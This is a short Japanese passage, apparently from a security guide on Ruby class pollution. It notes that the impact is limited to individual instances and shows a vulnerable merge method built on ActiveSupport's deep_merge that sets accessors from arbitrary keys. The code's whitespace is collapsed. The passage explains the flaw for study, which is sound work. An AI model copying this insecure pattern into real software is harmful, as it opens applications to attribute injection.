影響の制限: この脆弱性は個々のインスタンスにのみ影響を与え、他の User および Admin のインスタンスには影響を与えないため、悪用の範囲が制限されます。
実世界のケース
ActiveSupportの deep_merge
これはデフォルトでは脆弱ではありませんが、次のようなもので脆弱にすることができます:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do|key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endselfend
